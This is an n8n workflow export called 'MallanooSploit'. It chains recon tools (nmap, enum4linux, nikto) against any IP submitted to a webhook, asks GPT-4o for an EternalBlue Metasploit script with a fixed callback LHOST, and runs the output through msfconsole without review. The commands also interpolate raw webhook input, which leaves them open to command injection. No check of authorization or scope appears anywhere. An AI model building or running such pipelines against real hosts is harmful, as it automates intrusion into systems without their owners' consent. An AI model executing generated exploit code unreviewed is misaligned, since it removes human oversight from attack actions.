{
  "name": "MallanooSploit",
  "nodes": [
    {
      "parameters": {
        "httpMethod": "POST",
        "path": "/trigger_scan",
        "options": {}
      },
      "name": "Webhook Trigger",
      "type": "n8n-nodes-base.webhook",
      "position": [
        -1840,
        260
      ],
      "id": "9f08ecf1-64dd-449b-8986-f76af3c0fd84",
      "typeVersion": 2
    },
    {
      "parameters": {
        "command": "=ping -c 3  {{ $json.body.target_ip }}"
      },
      "name": "Ping Target",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -1720,
        260
      ],
      "id": "b2187a1a-c650-49a4-87cf-36beb80b50d9",
      "typeVersion": 1,
      "alwaysOutputData": false,
      "onError": "continueRegularOutput"
    },
    {
      "parameters": {
        "command": "=enum4linux -a  {{ $('Webhook Trigger').item.json.body.target_ip }}"
      },
      "name": "Run Enum4Linux",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -360,
        -60
      ],
      "id": "37fe7909-1b72-4267-9277-f52ae2ef72d5",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "nikto -h {{$json[\"query\"].target_ip}}"
      },
      "name": "Run Nikto",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -220,
        180
      ],
      "id": "147d4e58-4d2e-4370-8701-49802d3ccf84",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "magicrecon -d {{$json[\"query\"].target_ip}} -a"
      },
      "name": "Run MagicRecon",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        60,
        180
      ],
      "id": "175bed89-1071-4128-9561-96b6003f543b",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "=nmap {{ $('Webhook Trigger').item.json.body.target_ip }} -o /home/kali/Mallanoo_Agent/nmap_scan.txt "
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        -780,
        500
      ],
      "id": "58fce766-2ac4-4593-bd9f-7e85e39cf754",
      "name": "Nmap"
    },
    {
      "parameters": {
        "command": "msfconsole -r generated_exploit.rc"
      },
      "name": "Run Metasploit Exploit",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        420,
        0
      ],
      "id": "36dc6daf-03a5-4fcf-bf4f-7dbfc50c45b2",
      "typeVersion": 1
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": false,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "f755812c-b7c6-474b-892e-683583cd3c92",
              "leftValue": "={{ $json.received.result }}",
              "rightValue": "445/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            },
            {
              "id": "1858a3db-0cbb-4e00-b847-da78c42fa64c",
              "leftValue": "={{ $json.received.result }}",
              "rightValue": "135/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {
          "ignoreCase": true
        }
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -580,
        0
      ],
      "id": "5f02a662-466d-49b7-a766-e8da3f252d3a",
      "name": "SMBCheck"
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "d79b2bec-7d05-432e-97ce-9d690142c67c",
              "leftValue": "={{ $('NmapRead').item.json.stdout }}",
              "rightValue": "",
              "operator": {
                "type": "string",
                "operation": "exists",
                "singleValue": true
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -800,
        180
      ],
      "id": "345910d9-c81e-4cb6-b141-485f13821012",
      "name": "NmapCheck1"
    },
    {
      "parameters": {
        "command": "cat /home/kali/Mallanoo_Agent/nmap_scan.txt"
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        -1240,
        260
      ],
      "id": "649b79ba-414c-4a55-910f-b2e27f34c72a",
      "name": "NmapRead",
      "retryOnFail": false,
      "onError": "continueRegularOutput"
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": false,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "f755812c-b7c6-474b-892e-683583cd3c92",
              "leftValue": "={{ $('NmapCheck1').item.json.stdout }}",
              "rightValue": "80/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            }
          ],
          "combinator": "or"
        },
        "options": {
          "ignoreCase": true
        }
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -580,
        200
      ],
      "id": "9a01c494-d067-4bb6-839b-a2d1fb6299a6",
      "name": "WebCheck"
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.stdout }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        -1600,
        260
      ],
      "id": "20ab0ea9-dfb4-4eeb-b545-08d59efee46a",
      "name": "PingOutput"
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.stdout }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        -1120,
        0
      ],
      "id": "b55b59bd-aa5a-486f-9709-8e89760c3891",
      "name": "NMAPOutput1"
    },
    {
      "parameters": {
        "amount": 2
      },
      "type": "n8n-nodes-base.wait",
      "typeVersion": 1.1,
      "position": [
        -1480,
        260
      ],
      "id": "1c6e8bfb-13a1-4184-8326-33e163dde659",
      "name": "Wait"
    },
    {
      "parameters": {
        "amount": 2
      },
      "type": "n8n-nodes-base.wait",
      "typeVersion": 1.1,
      "position": [
        -960,
        180
      ],
      "id": "692ce3f4-4691-4f76-b108-09a47ad42e12",
      "name": "Wait1"
    },
    {
      "parameters": {
        "modelId": {
          "__rl": true,
          "value": "gpt-4o",
          "mode": "list",
          "cachedResultName": "GPT-4O"
        },
        "messages": {
          "values": [
            {
              "content": "=You are an expert penetration tester. Based on the following vulnerability scan results, generate a full Metasploit `.rc` script.\n\nNmap Scan Results:\n{{$json[\"stdout\"]}}\n\nEnum4Linux Scan Results:\n{{$json[\"stdout\"]}}\n\nGenerate the `.rc` script with:\n1. Exploit modules\n2. Payload configuration\n3. Target settings\n4. Use Eternalblue as a payload\n5. LHOST is 10.10.14.3\n6. RHOST is {{ $('Webhook Trigger').item.json.body.target_ip }}\n\nReturn only the Metasploit `.rc` script in this format: "
            }
          ]
        },
        "jsonOutput": true,
        "options": {}
      },
      "type": "@n8n/n8n-nodes-langchain.openAi",
      "typeVersion": 1.8,
      "position": [
        -160,
        -140
      ],
      "id": "8d548cc1-8355-4f37-8de3-6ab23631af64",
      "name": "OpenAI",
      "credentials": {
        "openAiApi": {
          "name": "<your credential>"
        }
      }
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.message.content.commands }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        260,
        -340
      ],
      "id": "27845399-2a74-487a-a936-f2c6b41a1952",
      "name": "NMAPOutput"
    },
    {
      "parameters": {
        "command": "=echo \"{{ $json.message.content.commands }}\" > /home/kali/Mallanoo_Agent/metasploit_script.rc\nmsfconsole -q -r /home/kali/Mallanoo_Agent/metasploit_script.rc"
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        480,
        -140
      ],
      "id": "19b8d86e-7abc-4421-9ed6-fcd7b68e5f68",
      "name": "Execute Command"
    }
  ],
  "connections": {
    "Webhook Trigger": {
      "main": [
        [
          {
            "node": "Ping Target",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Ping Target": {
      "main": [
        [
          {
            "node": "PingOutput",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Nmap": {
      "main": [
        [
          {
            "node": "NmapRead",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run Enum4Linux": {
      "main": [
        [
          {
            "node": "OpenAI",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "SMBCheck": {
      "main": [
        [
          {
            "node": "Run Enum4Linux",
            "type": "main",
            "index": 0
          }
        ],
        []
      ]
    },
    "NmapCheck1": {
      "main": [
        [
          {
            "node": "SMBCheck",
            "type": "main",
            "index": 0
          },
          {
            "node": "WebCheck",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "Nmap",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "NmapRead": {
      "main": [
        [
          {
            "node": "NMAPOutput1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "WebCheck": {
      "main": [
        [
          {
            "node": "Run Nikto",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run Nikto": {
      "main": [
        [
          {
            "node": "Run MagicRecon",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run MagicRecon": {
      "main": [
        [
          {
            "node": "Run Metasploit Exploit",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "PingOutput": {
      "main": [
        [
          {
            "node": "Wait",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "NMAPOutput1": {
      "main": [
        [
          {
            "node": "Wait1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Wait": {
      "main": [
        [
          {
            "node": "NmapRead",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Wait1": {
      "main": [
        [
          {
            "node": "NmapCheck1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "OpenAI": {
      "main": [
        [
          {
            "node": "NMAPOutput",
            "type": "main",
            "index": 0
          },
          {
            "node": "Execute Command",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
  "active": false,
  "settings": {
    "executionOrder": "v1"
  },
  "versionId": "b91ff6e4-af1f-4145-82a5-55b633d9b4c0",
  "meta": {
    "templateCredsSetupCompleted": true
  },
  "id": "UujIlf4keFMTeZUU",
  "tags": []
}